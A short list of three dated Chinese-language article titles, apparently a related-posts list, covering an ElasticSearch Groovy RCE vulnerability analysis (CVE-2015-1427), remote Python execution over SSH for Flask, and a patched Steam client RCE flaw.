- ElasticSearch Groovy指令碼遠端程式碼執行漏洞分析(CVE-2015-1427)2020-08-19Elasticsearch指令碼
- [譯] 通過 SSH 遠端使用 Python 直譯器來執行 Flask2018-07-06PythonFlask
- Steam客戶端發現遠端程式碼執行漏洞:已放補丁2018-06-06客戶端